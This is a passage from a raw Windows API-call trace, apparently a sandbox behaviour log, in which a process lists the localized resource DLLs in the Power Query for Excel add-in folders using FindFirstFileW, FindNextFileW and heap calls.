nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1 [0278.622] GetProcessHeap () returned 0xaf0000 [0278.622] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36b6278 [0278.622] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0278.805] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.805] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41f3e26, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0278.805] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa39cfa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa39cfa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa39cfa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x26040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0278.805] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x69980f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0278.806] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1920897, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1920897, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x196cd32, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x87aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0278.806] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1920897, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1920897, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x196cd32, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x87aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0278.806] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0278.807] GetProcessHeap () returned 0xaf0000 [0278.807] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36b6278 | out: hHeap=0xaf0000) returned 1 [0278.807] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56d17f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56d17f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56d17f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="EventSource.dll", cAlternateFileName="EVENTS~1.DLL")) returned 1 [0278.807] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bae279, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bae279, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0278.807] GetProcessHeap () returned 0xaf0000 [0278.807] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36b6278 [0278.807] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bae279, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bae279, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0278.809] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bae279, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bae279, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.809] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf47e9c8f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf480feb5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0278.809] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6bae279, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6bae279, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bae279, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0278.809] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c3d17b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4c3d17b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4c63313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x31aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0278.809] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x595a0ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x595a0ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59cc74e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x89040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0278.810] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x595a0ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x595a0ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59cc74e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x89040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0278.810] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0278.811] GetProcessHeap () returned 0xaf0000 [0278.811] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36b6278 | out: hHeap=0xaf0000) returned 1 [0278.811] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0278.811] GetProcessHeap () returned 0xaf0000 [0278.811] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36b6278 [0278.811] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0278.814] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.814] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6bad1cb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6bad1cb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6bd3439, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x10040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0278.814] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4ba375b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4ba375b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x29040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0278.814] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x34040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0278.814] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd42039, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd42039, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8faa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0278.814] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd42039, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd42039, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8faa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0278.814] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0278.815] GetProcessHeap () returned 0xaf0000 [0278.815] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36b6278 | out: hHeap=0xaf0000) returned 1 [0278.816] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x675bda6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x675bda6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1 [0278.816] GetProcessHeap () returned 0xaf0000 [0278.816] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36b6278 [0278.816] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x675bda6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x675bda6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0278.817] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x675bda6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x675bda6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.817] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e0a643, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0278.818] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5e78ac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5e78ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5e78ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0278.818] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x675bda6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x675bda6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6781ff8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0278.818] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb67b102, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb67b102, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6c7584, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8a040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0278.818] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb67b102, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb67b102, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6c7584, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8a040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 0 [0278.818] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0278.819] GetProcessHeap () returned 0xaf0000 [0278.819] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36b6278 | out: hHeap=0xaf0000) returned 1 [0278.819] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1 [0278.819] GetProcessHeap () returned 0xaf0000 [0278.820] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36b6278 [0278.820] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0278.821] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.821] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6e5cc4e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0278.822] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c8cf9c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c8cf9c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2aaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0278.822] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41f3e26, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41f3e26, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4266542, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x37aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0278.822] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x98040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0278.822] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x98040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0278.822] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0278.823] GetProcessHeap () returned 0xaf0000 [0278.823] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36b6278 | out: hHeap=0xaf0000) returned 1 [0278.823] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0278.824] GetProcessHeap () returned 0xaf0000 [0278.824] RtlAllocateHeap (HeapHandle=0xaf0000, 